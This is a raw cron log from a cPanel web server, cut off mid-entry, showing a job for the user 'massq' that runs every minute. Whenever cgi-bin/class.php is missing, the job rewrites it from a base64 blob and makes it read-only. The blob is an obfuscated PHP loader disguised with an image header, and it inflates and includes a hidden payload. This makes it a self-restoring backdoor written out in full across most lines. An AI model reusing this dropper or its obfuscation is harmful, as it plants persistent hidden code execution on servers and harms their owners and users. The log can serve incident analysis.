Apr  7 07:43:01 server CROND[10157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:44:01 server CROND[10229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:45:01 server CROND[10289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:45:01 server CROND[10290]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:45:01 server CROND[10291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:46:01 server CROND[10458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:47:01 server CROND[10732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:48:01 server CROND[10774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:49:01 server CROND[10852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:50:01 server CROND[10929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 07:50:01 server CROND[10931]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 07:50:01 server CROND[10932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:50:01 server CROND[10930]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:50:01 server CROND[10934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:51:01 server CROND[11054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:52:01 server CROND[11208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:53:01 server CROND[11272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:54:01 server CROND[11330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:55:01 server CROND[11394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 07:55:01 server CROND[11395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 07:55:01 server CROND[11396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 07:56:01 server CROND[11512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK